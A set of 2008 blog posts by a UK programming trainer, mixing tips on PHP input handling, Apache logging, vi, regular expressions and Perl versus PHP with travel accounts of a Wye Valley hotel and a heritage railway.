4. Your HTML template that gives you the look and feel of each page.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Handling any characters in your input
There's a joke about the mother who gave the son the middle names "DROP DATABASE". When she signed him up, on line, for his primary school, the school's computer mysteriously lost all its records ...
In a well programmed system, problems like this should not occur and even database keywords should be acceptable as inputs. But you have to check this in your programming, and as well as keywords be aware of how quotes, less than signs, ampersands, and even spaces are handled.
This diagram shows how user inputs from the web need to be cleaned up to provide the "real" values to be used in calculations, and then need further processing / protection if they're to be stored in a database, or echoed back on a web page.
The same principles apply in Perl (vis CGI), Java, and PHP ... and other languages. The function names in orange on the diagram are from PHP.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Things to consider in PHP ...
If you're looking to write an easy to use, secure PHP page, here are some of the things you should consider ...
• How to prevent injection attacks (see previous board)
• How to provide sticky fields, so that user who fails to complete a form correctly is NOT penalised by being given a new BLANK form to try again (I think we've all see when sites that drop fields, haven't we?)
• Preventing users bookmarking a page in the middle of a series so that they can just land there, unexpectedly, at a later date - the "Hogwarts effect"
• How to maintain users's sessions
• The best and consistent way to handle errors.
There are considerations for other languages too - it just so happens that this example is a PHP slide!
In PHP, some variables are automatically provided to you when you start your web page processing, and on this board they're listed down the right hand side of the screen. They are:
$_GET - parameters supplied via the URL / GET method
$_POST - parameters supplied via a POSTed form
$_COOKIE - cookies returned with the request
$_ENV - environment variables from the server
$_SERVER - a wide range of variables from the web server / details of the requesy.
$_GET, $_POST, $_COOKIE and $_ENV are also combined into another single array called $_REQUEST which is very useful to you if you want to check for the presence of an input field, whether it was supplied by any of the methods.
Finally, this diagram mentions $_SESSION which is a little different - it's populated by the session_start function rather than by the starting server process, and it contains the information saved for this user's previous page in his / her current session.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Versions of PHP and code portability
PHP is a vibrant language - so much so that there have been a number of issues / changes over the years, and configuration options added, that mean that PHP code written on one server may not run straight off on another. This board goes through recent(ish) versions, and highlights some of the issues.
Up to and including PHP 4.1, variables were populated directly from form fields which was regarded as a security issue when coding is in the hands of newcomers who don't appreciate the need to initialise their storage. From 4.1 onwards (4.1 supports both methods), you should use $_GET, $_POST or $_REQUEST. But you'll see a delta sign on my diagram - if you have old code, you can support the old mode too ..
As of PHP 5.0, the Object model was changed and if you assign an object, you're copying a pointer in PHP 5, but cloning the whole object in PHP 4. It means, incredibly, that an assignment statement may have a different effect depending on the version you're running.
As PHP 5 was introduced, the MySQL drivers (that had been supplied with PHP4) were withdrawn, due to the tightened license with MySQL. If you want have MySQL support in PHP 5, you download and unpack MySQL first (no need to actually install it - just have the libraries available) and then build PHP.
Also at PHP 5, a second API to the (now loaded from elsewhere) MySQL drivers was provided. The ones provided prior to that date - with names starting with mysql_ - were judged imperfect in Computer Scientist's terms and the mysqli_ ones which were added are considered better. To use the new ones means you have to change your code, so you'll probably want to consider building your PHP with both sets!
Also noted at the top right of this slide - other things to remember with regards to code portability across different versions and settings of PHP
• Register Globals
• Short Tags
• Magic Quotes
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
OOO Arrrr!
There are lots of file types with extensions ending in "ar" which usually stands for "archive"!
.tar files have been around for many, many years - "tape archives" produced and also unpacked by the tar utility. The format is very basic - they're uncompressed, and they lack a single index at the beginning which mean they're very inefficient if you were to even THINK of using them for random access.
.jar files are designated as "Java Archives" and written (and read) by the jar utility which is supplied as a part of the Java distribution - but in fact the can contain any file and directory structure, and they're actually ".zip" file compatible. Which means that they are compressed, and they include a list of contents which allow them to easily be used for randomly accessing the files / elements they contain.
.war files ... "web archives" are .jar files! what tells them apart from .jar files is the specific layout of the files they contain, and a certain subdirectory that must be present, which means that Tomcat will assume that they can be directly deployed (instructions for the URLs to be used contained within!) to allow a "distribute and play" approach to Java Application Upgrades.
Similarly, .ear and .sar files are generated to a specific layout by jar - enterprise archives and service archives. .rar files - resource archives - are something else!
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Regular Expressions - an easy introduction
If you're looking to see if two values are equal in programming terms, that's usually easy enough - but what is you want to see if (example) a user's data entry "looks like" a postcode - that's an altogether tougher prospect, and we commonly use a regular expression to make the test.
A regular expression is the description of a pattern and can contain a number of elements.
Anchors - things like "does it start with ..."
Literal characters - "does it contain exactly this character"
Character groups - "does it contain a character from this list"
Counts "does it contain one or more of ..."
All these elements were (are) present in grep - the "Regular Expression processor" and they're shown in blue on the board. egrep provides / provided extensions - shown in brown, which included the ability to group together sections of the regular expression, and added an "or" operator described in post terms as "alternation".
Larry Wall's Perl added yet further options - a tiny sampling of those are added in red - and languages like Tcl (John Ousterhout) and PHP added "POSIX" standard alternatives - in Green. Larry decided to support the green POSIX stuff too, and the PHP team supported Larry's style ... and so the whole this is very flexible as well as being a complex story.
For this week's web server deployment course, Regular Expressions actually came up in the form of configuration settings for the Apache httpd web server - especially for mod_rewrite which lets you tell the web server to divert a request which is apparently for a fixed web page to a script that's going - for example - to access a database, passing in the name of the page that was called up as a parameter to the page. It's very clever stuff, allowing us to create whole directories of virtual documents.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
It's incredible just how long it has taken me to document a few diagrams - but it also goes a long way to proving that a picture paints a thousand words, and to demonstrating just how much useful information I can pack into a short course such as the one I've been giving on site in Milton Keynes (link - what would such a course cost?) this week.
Update - more similar diagrams If you found these diagrams useful, I have added a second series of them here covering the conclusion of the course - with more on Java and Tomcat, and a whole series on MySQL too!
Posted by gje at 01:15 AM | Comments (0)
Related topics: via article database
Useful links: PHP training, Java training
August 21, 2008
Dialects of English and Unix
English is spoken as a first language by over 300 million people, and by about five times that number if you include people who can speak it as a second or third language. But that doesn't mean that word and wording is going to be the same within different variants, let alone the subtleties and drifts, where somethings that's just a mild comment in English can be offensive to an American, and vice versa.
In a way, it's a bit the same with flavours of Unix and Linux - something that works on Solaris may not work on OS X, and a Linux command that you've come to rely on on your shared hosting service turns out to have not been loaded on the basic build on your new dedicated host - ah - these things are sent to try us!
Take the ps command - for process status,
In the old SunOS 4.1.3 days, it used to be second nature to type ps -aux but that was a Berkeley Software Distribution (bsd) based Unix and when Sun switched to System V.4 (AT&T based) at Solaris 2 / SunOS 5, the recommended command became ps elf which presented broadly the same information is a somewhat different format.
You'll notice that the - (minus sign) has gone from the "option" list, and I recall being told that happened because they're not really options, but rather they are a description of how the thing is to work. And if they're not options, you don't need a minus sign! ((The same thing applies to tar - where it's tar cvf rather than tar -cvf))
There days, under Linux, I find some delegates using ps ef and others using ps aux. But there are other useful options ... and I surprised one of my delegates by suggesting he use
ps auxwww
Odd? Yes, it is a bit. The "w" descriptor means "wide" - or in this case "wide, wide, wide" ... so that lines reported are not truncated to the screen width. ps auxwww outputs the complete command line used to start all processes, and in this instance was vital to allow my delegate to see all the various options used in starting up Tomcat, including the option that specified which particular JVM release it was to use, and where that was to be loaded from.
Posted by gje at 05:56 PM | Comments (0)
Related topics: via article database
Yank and Push - copy and move in vi
If you want to copy a number of lines, Yank them into your paste buffer, move the cursor to where you want the copy, and Push the duplicate copy.
Example ....
10Y (yank 10 lines - the current followed by the next 9)
move cursor
P (push those lines into their new position)
Alternatives / variants of yanking.
1. You can use yy rather that Y (two lower case Ys not one upper case) and it will do the same yank.
2. You can use yw to yank a word, y$ to yank to the end of the line, y0 to yank back to the beginning of the line, yb to yank back to the beginning of the current word ... (and that's just a selection!)
3. You can precede your yank by naming a buffer to use double quote command) so that you can keep more than one set of lines available to push at the same time. For example "a10Y - "Using buffer 'a', yank 10 lines".
4. If you delete lines with dd or any of the alternatives such as dw or d$, your text is also stored in the yank buffer, and can be pushed back to a new position.
Alternatives / variants of pushing.
1. P pushes the text in front of the current cursor position, but p (lower case) pushes it after.
2. You can use a names buffed (with double quotes) to push from a named buffer rather than from the default - "aP means "push the text in buffer 'a' before the current cursor position"
More buffers are available than you could possible want - use any of the letters (upper or lower case) and almost all of the special characters!
Markers are also named in a similar way, but are a different facility. If in vi you type ma, you're setting a marker called "a" and later on in the session you can type 'a - that's "single quote, a" to jump you to that position - a very useful trick for getting back to somewhere you've already been without having to search again, or note a line number!
Note - in ex mode in vi, you have copy and move commands available too ...
:10,20copy5 - duplicate lines 10 to 20 inclusive in front of line 5
:.,.+3move0 - move the current line and the next 3 to the very beginning of the buffer
Posted by gje at 06:17 AM | Comments (0)
Related topics: via article database
Co-operating to save, yet we dont
The human race can be its own worst enemy in terms of waste and efficiency. What point in spending money when there's an excellent alternative that should be available for free? Ah - the point might be simply that you don't have to co-operate with other human beings in a way outside the norm if you choose to spend more money.
What am I on about?
a) The restaurant at my hotel if offering "Two for One" meals, all day, every day. That means that you buy any two main courses from the menu, and the cheaper one is free. It's a huge encouragement to Milton Keynes locals to bring their boyfriend / girlfriend / mother / boss in for a meal and the place is busy ... but it could also be a serious saving for the businessman travelling alone, like me if only he would team up with another similar lone businessperson for the purpose of ordering food.
b) As I drove the three or four miles from Furston Lake to the Open University yesterday morning, I observed the number of cars on the road (it wasn't quiet) and the number of people in the vehicles coming the other way. 19 out of 20 vehicles had a single occupant and all (except the grass cuttng machine) had spare seats. That could have been a serious saving of fuel / costs if only people had paired up and travelled together - it's not exactly as if there's a lack of vehicles on the road.
c) Our local Train Operating Company, First Great Western, sells a "Group Save" ticket where a group of 3 or 4 people travelling together can travel for the price of 2. So there's a potential saving of 50% for each off peak traveller (it only applies to off peak if only people would co-operate with each other.
If you start adding these things up, you're looking at a considerable overall saving - personally and (in the case of the car driving) for the greater good too.
All it needed, on Monday evening, was for me to say to the next person in the queue "I'll get your main course for you if you'll get me my drink" and we would both have both been quids in.
All it needs on the road is for me to hold up a sign saying "Anyone got a spare seat to the OU?" and there's a car journey saved - and if this became the norm, some traffic jams reduced and some major road capacity improvement expenditure saved.
I HAVE seen sharing work - in different contexts - on rail related issues on occasion, and heard of further instances too. A cancelled service from Melksham, and the person who has driven his / her car to the station offered the others a lift. I have personally been offered (and accepted) a lift when enquiring about the next bus of train to Melksham at Chippenham, and I have been at Chippenham station to drop off / pick up customers, and brought back with me other surprised - but very much grateful - stranded travellers.
Posted by gje at 05:55 AM | Comments (0)
Related topics: via article database
August 20, 2008
WEB-INF (Tomcat) and .htaccess (httpd)
Apache Tomcat's WEB-INF directory is rather like Apache httpd's ".htxxxxx" files - they both contain data which is within the document directories, but is configuration data that's not directly visible to the web.
WEB-INF/web.xml (Tomcat) contains the extra configuration information for the current directory / application that's needed in addition to the web.xml file in the main configuration file, and that can be directly compared to the .htaccess files under httpd, which contain additional configuration data, per directory, in addition to what's in the httpd.conf file.
[link] to sample .htaccess file (Apache httpd)
[link] to sample web.xml file (Apache Tomcat, formerly Apache Jakarta Tomcat)
Posted by gje at 06:36 PM | Comments (0)
Related topics: via article database
Logging Cookies with the Apache httpd web server
An interesting question that came up yesterday - can we extend Apache httpd's logging to include details of cookies sent to the server? The answer is yes, and overnight I have done a little testing.
Let's say I want a log file with records like this:
203.126.136.220 [20/Aug/2008:07:39:25 +0100] "wxt=551e80d6ca00833407af3f85ac8919a5" 200 "GET /forum/The-Tcl-programming-language/File-Searching.html HTTP/1.1"
66.249.65.108 [20/Aug/2008:07:40:44 +0100] "-" 200 "GET /forum/The-MySQL-Relational-Database/Copying-a-table-structure.html HTTP/1.1"
220.227.116.220 [20/Aug/2008:07:40:37 +0100] "wxt=d173ff275e98ed6535eb14ca992976e0; whcmy=whc48abbbef58a62" 200 "GET /resources/P307.html HTTP/1.0"
All I had to do was to add the following two lines to my httpd.conf file:
LogFormat "%h %t \"%{Cookie}i\" %>s \"%r\"" cookie
CustomLog "/home/wellho/logs/cookie_log" cookie
The first line defines a new log file format including the cookie header, and the second describes where that log file is to be generated. And, yes, you could do something similar for acceptable compression types, preferred languages, and much more!
And then stop and restart the server to have the new configuration read and effected (./bin/apachectl stop; ./bin/apachectl start)
Some extra notes:
a) Bare in mind that a nonstandard log file format won't be automatically accepted as an input data source by analog, awstats and all the other web file log analysis packages out there!
b) remember to use crontab or something like it to cycle the log files.
c) There could be privacy issues ... this is JUST an experiment!
Why would I want to note cookies?
• To help tell automata apart from real visitors
• To help establish who's who when I have multiple visitors from the same site
• To help over the long term to trace back multiple accesses from different IP addresses to the same visitor - as will happen from the laptop I'm posting from today for example - which last week was in Melksham, over the weekend was in St Briavels and is now posting from Milton keynes.
Posted by gje at 07:55 AM | Comments (0)
Related topics: via article database
An opportunity for something new
I worked for a gap year between finishing my A levels and going on to University - starting with a local job as a "Coder" - helping a Seismologist at the local Oil Exploration Company prepare jobs in decks of cards for the big IBM Computers the company used, and taking the resultant large film sections and splicing them for final customer presentation. But during my year, the company fell on hard times and some 8 or 9 months in, I was declared redundant. It was totally the correct decision of the company to choose me as one of the ones to fire, as I only had a limited remaining shelf life there anyway - but still it hurt, especially in the manner in which I was told. Looking back, they did me a huge favour - I made a phone call the following Monday and got myself set up for my remaining four months with another company ... which lead to my first industrial placement as a programmer in the same field.
In a changing world, it's rare for anyone to stay with one employer (or even for one job to exist) for a lifetime these days, and the closing of one door (though perhaps a shock) is a golden opportunity for the opening of another - indeed, Well House Consultants grew from being a "shell" company through which I could give training courses under contract to something much, much more when my major customer's door closed. But when one door closes, another opens, and such happenings are a golden opportunity to regroup and restart which should be positively grasped, with both hands.
i
From My mailbox, and reproduced with permission ...
|
Hi Graham, |
Brendan - good luck to you, I hope it goes well for you - I know it has for us. And I'm happy to provide you with a link / initial "plug" above. We've not looked back! And ... should I be in Dublin giving a Perl or Tcl course, I'll look you up and perhaps we can have a Geek evening!
December '08 - an update
Brendan writes:
|
Hi Graham, |
|
Hi Graham, |
As well as the location that Brendan found, this page is also in our archives at http://www.wellho.net/mouth/1760_An-opportunity-for-something-new.html and perhaps we need some of Brendan's services to help us sort out the content monster we have here ;-) ....
Posted by gje at 06:53 AM | Comments (0)
Related topics: via article database
August 19, 2008
While the world sleeps ...
I was due to get up at 05:00 yesterday morning; an 06:00 departure from home, for an 08:30 arrival in Milton Keynes, setting up for a course starting at 09:30. "Why didn't you go a day earlier" you may ask. But with a whole load of equipment to cart around, it's a lot of hassle to have to get a trolley (or wheelchair) accessible room and move the kit in there in the evening, and out in the morning. Besides, the roads are a lot quieter at dawn on Monday that at dusk on a Sunday which I am told by my contacts who know a bit aboout travel has now become the busiest time of the week for long distance journeys.
I was due to get up at 05:00 ... but I ended up undersleeping and getting up at 03:30, when a brief online check alerted me to the fact that perhaps I should stay up and sort out a "spam poster" on the FGW Coffee Shop Forum where I'm one of the admins. It never ceases to amaze me how the occasional poster to a forum can sometimes go a bit "odd" - and in this case it was actually a poster who's put up nearly 300 posts in the past and who (I understand) is an employee of the FGW train company that the forum's about. A ripe selection of personal insults against three members, a selection of other links including some that were broken and at least one others that lead to sites of a sexual nature ... and a clear case of an account that had to be suspended with immediate effect, and a cleanup instigated.
What causes people to go "off the rails" like this? An emailed message from another member suggested that our friend might have been under the influence of some sort of substance, but I've nothing but the character of the posts to confirm that. I do prefer to give people the benefit of the doubt, and I have invited the member to get in touch if he would care to offer an explanation, but I haven't heard (yet) and I suspect I might not do so.
Oddly enough, although I had not planned to be spending 2 hours at this task, I came out of it with a feeling of some satisfaction. Some of the posts, though perhaps blurred by the influence of alcohol were also uninhibited by by the lack of restraint that alcohol can induce, and it gave me a chance both to see the real views and personality of the guy, and also to answer some very good questions which were worth answering again, and has lead - over the following 36 hours - to some excellent clarifications of the TransWilts case, and to support shown from a far wider audience than a single sad lone Cornishman.
Posted by gje at 07:58 PM | Comments (0)
Related topics: via article database
August 18, 2008
Lindors Hotel, near St. Briavels, Wye Valley
A last minute decision - we spend a night away this weekend. Now - where will you find a room for just a Saturday night, in the busiest part of the holiday season? Web sites were coming up with no availability, and when we phoned one place, they said they would look and just cut the phone off.
Then we chanced upon Lindors Country House Hotel. 
Set in the woods above the River Wye near Tintern, with a postal address of St. Briavels, it's just 40 miles from us in Melksham. To our surprise and delight, yes, they did have a double and a single available for the Saturday night, and at a very reasonable Dinner Bed and Breakfast rate too. We went for it - after all, St Briavels has fond memories for Lisa and I as we first met when Lisa was on a trip to the UK to stay at the Castle / Youth hostel there, oraganised by the alt.good.morning newsgroup. But that's a story for another day.
I don't know where to start to tell you more about Lindors. It's a Victorian building, but there's little history of the building quoted prior to 1942, when it was bought by a Christian group, and it remains a Christian hotel to this day. Just as English history doesn't seem to exist before 1066, Lindors didn't before 1942.
The views of the surrounding countryside from the gardens are spectacular. Wooded slopes with a maze of narrow roads and footpaths run from Tinter, Llandogo and Brockweir in the valley bottom up to St Briavels and Bream on the top. The gardens at Lindors include a putting green, a bowling green, tennis courts, a swimming pool and a bible garden.
A stream runs through the gardens, which are magnificent - my photographs cannot do justice to the mature trees, the system of ponds, and the flowers and other plants, and even though the ground was sodden we took a walk, and pictures. The house, hiding up amongst the trees, probably dates from between 1860 and 1870 and has been much extended and changed since, we're pretty sure. Gables fly out at odd angles, some windows match and other don't, and inside is a warren!
Inside, the floral wallpapers and wood panelling make some aspects of the hotel feel like it's a place that time left behind. But some aspect have been updated - our rooms were ensuite (according to the literature, that was very recently done and, alas, not very sympathetically to the history of the building). And there were tea and coffee making facilities too. But some other apsects of the hotel were a little less conventional.
We knew ... something ... of what to expect when we were told as we booked that the evening meal is at 6:30. Yes, that's it - a single sitting, and with long tables, New York Deli style where everyone groups together rather than being separated. I don't actually object to that - in fact I'm somewhat in favour as we intentionally share a breakfast table at Well House Manor - though we don't insist on everyone eating at the same time. And I'll admit to being taken aback when the last family to arrive - Mum, Dad, babe in arms and two girls of about five, were split up among the remaining seats - I felt that was really harsh, but no-one else apart form the parents seemed bothered, and there was no way that I could see that if we had moved we would have solved anything. Perhaps I was too concerned, though - the young ladies sat at our table, spoke politely with Lisa, Dad and myself and perhaps were quite used to it.
Most of the guests were there for the week, as were our other table companions. It seems they go to the Sidmouth hotel in the same group every year for two weeks, but they were a bit upset that this year they couldn't as another group had blockbooked Sidmouth for a week ... so they had to do a week at Lindors then a week at Sidmouth.
The hosts for the week introduced themselves to the room, and told us all of some of the events to come, and of the availability of morning and evening prayers, grace was said, but no other 'push' on the religion. But it was friendly, old fashioned, polite - you didn't walk past people but rather you greeted them.
I suppose we should have guessed - but as a "retreat" hotel, there were no TVs in the bedrooms, and the nearest shop for books and newspapers was a mile and a half away (and hundred of feet below and across the border into Wales!) ... and the only books and magazines around were distinctly on the Christian theme. There was wireless internet access - and we knew this ahead of time; Lisa marvels at what BBC iPlayer can bring you on a remote Welsh hillside, for we hadn't had the foresight to bring our own reading material, and after dusk were somewhat too tired to go into the lounge and start chatting to the other guests, and not inclined to join them for prayer.
Would we stay there again? It's a definite "yes", and for more that just the one night, I suspect. We would take some of our own reading material. We would each take a laptop to avoid that fight of "I want to Blog" and "I want to watch the TV". And I'm pretty certain that we could come away grateful for meeting some very sincere and lovely people, admiring their committment, but certainly not sharing their views.
Further weekend pictures: • Chepstow • St Briavels • Tintern • Forest of Dean Railway
Posted by gje at 12:24 AM | Comments (0)
Related topics: via article database
August 17, 2008
Preserved railways - struggling to the future?
After Dr Beeching and with the demise of steam traction on our mainline railways, a wide selection of preserved lines (re)opened using the old track, or the old trackbed where it had to be relayed. These lines had been closed under the Railway's Rationalisations plans, so they tended not to have had a heavy traffic flow in the recent past. They were run using withdrawn BR stock, the trains on them tend to be very old. They were set up in a flush of enthusiasm by people keen to retain, for nostalgia and future generations, the railway scene as they had known it.
So, some 20 or 30 years on, you see some of the lines an services facing a shortage of volunteers, rolling stock which is getting progressively harder to keep in service, track wearing out, and a passenger flow that's sparse even on the busiest few weekends of the year.
Yesterday, Lisa and I visited the Forest of Dean Railway, based at Norchard just to the north of Lydney. An impressively sized gravel car park appeared, at first sight, to be empty, but over by the electric substation we spotted an extension up towards the station entrance proper, with a group of a couple of dozen cars, which we joined. As we approached the station, the first extra sign told us that due to problems with their steam locomotive, today's service was provided b a diesel multiple unit. The second extra sign that told us due to "Operation problems" that turned out to be a defective section of track, the service was only running as far as St. Mary's Halt. And the regular sign on the booking office window told us that the tickets on sale were all-day rover tickets, with the lady refusing to sell us anything less even though we just wanted to travel a short distance down the line and back to Norchard, rather than spending the rest of the day (on the dmu) going up to Parkend and down to St Mary's Halt.
First impressions count, and this really wasn't good. We got the immediate feeling of a line struggling to survive, and indeed the yard at Norchard, through which we walked to the operational platform, was stocked with old carriages many of which gave the impression of quietly rotting away. Paintwork was not only faded but flaking and crumbling off the majority of stock, some were covered in tarpaulins, and the trackwork itself was grassy. I expect to see some of this (preservation and restoration is not always a tidy business), but this place was "something else"!
The train - the 2 car diesel multiple unit of 1960 vintage - rolled in on time and looked smart and well loaded as it arrived from Parkend; it paused a few minutes before continuing, now with us on board, on the 10 minute run to St Mary's. The unit itself struck my untutored eye as being in excellent condition (as a preservation purist I would probably have questioned the addition of a buffet, and the doing so with rather more domestic that railway style fittings) and it accelerated well, and sounded good - but no great speed could be achieved as we had to negotiate the points, stop for a manually operated level crossing, stop and start at Lyndey Town and then draw to a halt at St Mary's all in that short period. More of an event packed few minutes that a journey!
On - and also in that 10 minutes we purchased a single journey paper ticket (which had been suggested by the "Rover or nothing" lady when I pushed her) from a tutting ticket inspector who felt we should be staying all day, and we did not purchase (though offered) raffle tickets to win a bear or a cab ride on the way back up. These didn't leave us much time to take more that a passing interest in what was goin on outside.
This is St. Mary's - normally just a halt at which the trains pause briefly if required but today the terminus of the line. Few people left the train at this obscure spot, and the driver gave a commentary telling us a little about the area, the line on to Lyndey junction where the train should have connected with the main line, and the footbridge which you can see in the picture - a listed 'building' but one that's currently closed because it's in a dangerous condition. The buffet staff talked amongst themselves during this commentary, so we missed a few of the facts but learned that the person who had won the bear had christened it Luke after younger lad on the buffet who had sold the raffle ticket, that this crew had two more round trips today, and that Edward (whoever he is) was going to clean the inside of the dmu during the week in ready for Bank Holiday Monday. Also some good tips of how to vacuum clean a dmu.
It felt like we sat for an age at St. Mary's. Certainly far longer than would normally be required for a turnaround - but then we had time in the schedule to carry on down to Lydney Junction, to have a steam locomotive run around the train, and then to travel back up to St. Mary's, so I suppose the wait was only to be expected. The babe in arms (or rather just out of arms) was getting bored and had a bit of wind, and started whimpering then crying and screaming, and that carried on all the way back up to Norchard.
The buffet coach, sitting in a back platform at Norchard from which it couldn't be moved as the track out has been tarmaced over without leaving room for the wheel flanges, is an old luggage van of some sort. The kindly ladies service - serving just ourselves and one other group - forgives us for entering through the exit door. "Caution, hot" says the servery unit - but it isn't - it's switched off. We could have a pasty or sausage roll heated up if we like ...
Seated in the couple Mark IId coach to eat our snack, I almost feel that it should start to move - and I'm nostalgically reminded that this is how trains should be; tables of 4, comfortable seats, windows that actually align with the seating. What a shame that the coach, newer even than the dmu that we travelled on, in unlikely ever to turn a wheel again. Again, the staff are very friendly but just not customer aware; there was really no need to choose the time when they actually had customers in to start using aerosol sprays to clean the immediately adjoining table - especially when it was clear from the trays of cups on some of the other tables that cleaning up wasn't too frequently done.
After having our teas, coffees, snacks, we returned to our car and drove up the valley. Stopping at Whitecroft, and the level crossing there, we looked at the track clean in the area of the crossing but disappearing - even the running lines - into the glass just a few yards away. It looked uncared for; it probably wasn't - there are people who care, I am sure, but there are too few off them and they are ineffective. And then we carried on to Parkend, at the end of the line.
You'll see from my final picture that the train was still at Parkend when we got there, even hough we had dawdled up there. Again, the train was quite well loaded but no-one was off on the platform; it seems that St. Mary's to Parkend is a bit of a journey from nowhere to nowhere, and indeed from our experience of the hour or two we spent in the area that the Forest of Dean railway isn't going anywhere either.
I've followed up further on this ... to some possible conclusions as to where the resources of the preservation / heritage railway sector might be best used ... here
Posted by gje at 07:49 AM | Comments (0)
Related topics: via article database
August 16, 2008
Ever had One of THOSE mornings?
Do you ever have one of those mornings where every (simple) task seems to take an age - where every code change that would normally be automatic for you results in a string of mis-spellings and syntax errors?
I set out when I rose at dawn this morning to change the front page on our http://www.wellho.co.uk site so that the pulldown menu for UK visitors for on course sites would offer them their own location and nearby ones first. Now that sounds easy enough, but what a struggle. I think it works, but I'm taking the rest of the day off!
If anyone from elsewhere in the UK would care to test the link above for me and let me know if it does anything silly - yes, I would be grateful. I'm not inclined to set off on my own UK tour purely to test it!
Update - 2nd September. I'm up in Cambridgeshire, testing the code, and it's come up with the menu shown here .... and I have other good feedback too. Thank you to everyone who's let me know
Posted by gje at 07:17 AM | Comments (0)
Related topics: via article database
August 15, 2008
Istanbul
I was reminded of our trip to Turkey by my previous blog - and pulled out three old pictures from four years ago ...
The bread seller walks between the traffic, with all the weight of the world (or is that all the weight of the bread?) upon his head.
A colourful wedding group outside one of the many mosques
And the middle of the afternoon is an excellent time for a siesta at the Topkapi Palace.
I *was* writing "The Horse's Mouth" even in those days - and you can still look back to the October 2004 archive - but that was before I stared adding images and other smart stuff. There are some image links, or if you prefer you can see another image of each of the places visited from these links - to Venice, Olympia, Ephesus, Istanbul and Dubrovnik.
Posted by gje at 06:01 PM | Comments (0)
Related topics: via article database
Upgrade from PHP 4 to PHP 5 - the TRY issue
It's often the most surprising things that catch you out on language upgrades! Our new web server is running PHP 5 (5.2.6) whereas the old shared service was running PHP 4. No problem with the conversion, PHP wise, except the exchange rate page which goes to the European Central Bank's web site and reads the current rates from there. And what was the problem with that page? The Turkish currency called TRY in 3 character shorthand - which was fine in PHP 4 but has become a reserved word in PHP 5. So the code
SIT => "Slovenian Tolar",
SKK => "Slovakian Koruna",
TRL => "Old Turkish Lira (to 2004)",
TRY => "New Turkish Lira (2005)",
has become
SIT => "Slovenian Tolar",
SKK => "Slovakian Koruna",
TRL => "Old Turkish Lira (to 2004)",
"TRY" => "New Turkish Lira (2005)",
and, yes, I am aware that the Slovenian Tolar is no more and that country now uses the Euro.
The (working!) exchange rate page is here and there's also our hotel currency exchange rate page available too, both of which collect the current exchange rate from the European Central Bank's site via XML / using Web 2 technologies (more resources and publicly available source code demo) from our PHP Technology Workshop).
The picture .. we're talking Turkey, and it's the Topkapi Palace in Istanbul, taken in October 2004 on the Perl Whirl 2004 - cruising in the company of Larry Wall, Rasmus Lerdorf, Monty Widenius (Perl, PHP, MySQL) and others.
In the past, I have had a similar issue with a variable called yield in Python - since yield became a keyword. I am mindful of the same issues with say, given and when in Perl 5.10, although Perl's use of a $ in front of variable names will make these problems into very rare cases indeed - such as was the PHP try issue that I started with.
Posted by gje at 04:36 PM | Comments (0)
Related topics: via article database
Useful link: PHP training
August 14, 2008
Perl v PHP, choosing the right language
"Should I use Perl or PHP?" - a question asked today about a heavy data processing application, but by a delegate who's main work is web site stuff and who is here on a PHP course ... with some prior Perl experience.
Not an easy question to answer; if the guy was only doing the data processing work then the answer would be "use Perl" - but he's mostly doing web stuff, and PHP stand alone is pretty darned good, will allow him to concentrate on the one language, to not have to involve himself with some of the idiosyncrasies of Perl which are fabulous once you know them well, and will let him share common code between the web and stand alone applications ...
Here's a demonstration program that we wrote to analyse a 30 Mbyte log file (or web site log for yesterday) and report on all the IP addresses that visited us, sorted by the number of hits from each.
In Perl
|
open (FH,"../elogs/ac_20080812"); |
and in PHP
|
#!/usr/local/bin/php |
What differences do I pick up?
Well - the Perl is about 10% shorter by its use of mechanisms such as the $_ variable (topicalisation), a trick that's great for the experienced programmer but a nightmare for the uninitiated. But the Perl looses some of that shortening because there's a need to specify a comparator to sort.
The Perl example uses both hashes (unordered collections with any scalar used as key) which are referenced as a whole with the % character, and element by element by placing the subscript in curly braces AND lists (ordered collections with numeric keys) where the whole is reference with an @ and element by element by placing the key in square brackets. The PHP code is easier to follow, as all variables including arrays and associative arrays start with a $ and all subscripts are square bracketed - but in the structure of the language you pay for this a little in performance as PHP associative arrays are ordered which makes them a little slower.
The PHP code is wrapped in <?php to ?> (to avoid it simply being displayed on the screen!) but that's not required for the Perl, and the #! line confirms that the Perl was installed at the time the system was build but the PHP had to be added later - but then it was added as part of the web server so that's not a serious extra, really!
And the similarities are more striking that the differences! Both languages using $ for variables, ; for statement separators, { ... } for blocks of code. Both case sensitive in variable names, both with auto vivification (i.e. creating variables on the fly) and auto typing ...
My conclusion for my client? Use Perl if you're doing a lot of this sort of thing, and PHP if it's just the occasional pieces of code as a sideshoot from your web work. But that's just the solution for HIS particular metrics. For a delegate who also knows Lua or Python or Ruby or Tcl, those languages would also provide good solutions to the example application above (and I'll teach to any of them!). But for this particular application, I would probably fight shy of using Java, C or C++ - all excellent languages for other jobs, though!
Posted by gje at 12:59 AM | Comments (0)
Related topics: via article database
Useful links: Perl training, PHP training
August 13, 2008
Dynamic maps / geographics in PHP
I've been doing some work with log file / exception report analysis over the past few days, with a geographic slant. And I've come to the conclusion that a picture paints a thousand words ... or even more!
Do you prefer a listing of log file data - in this first case of trains that are shorter than they should be, not running their (full) route or lack catering ...
| Affected trains: 13:05 Falmouth Docks to 13:29 Truro 12:38 Looe to 13:08 Liskeard 12:37 Truro to 13:00 Falmouth Docks 12:08 Liskeard to 12:37 Looe 11:50 Falmouth Docks to 12:14 Truro 11:40 Looe to 12:07 Liskeard (etc - 30 lines or more ---) |  |
I know that I personally prefer to see a quick graphic to tell me - at a glance - where there are issues, with a option to provide the full gory detail where it's needed - first down to a list of specific service and then, if one service is of especial relevance, to a pop such as the one to the right of this paragraph.
Let me give you some links.
If you're interested in the data on these diagrams and want to see it regularly, have a look at the First Great Western Coffee Shop where the diagram appears on the top left of each page, and at our details page where you can see the text (and get links to popups too!) if you want to look in depth.
If you're interested in using this technology yourself, you can see the source code of the detail page here and the source code for the dynamic image in PHP here.
For readers who would like to use the technology, but don't yet have the knowledge / background to do so without serious help, can I point you towards our PHP Programming course, and / or our PHP Techniques Workshop where you can pick up that knowledge.
The examples above came about as a result of various work / experimentation we're doing internally to help with out marketing - keeping an eye on where abouts our web site visitors are browsing from. You've seen some sample outputs from that work earlier on these pages - but here are some more:
 |  |
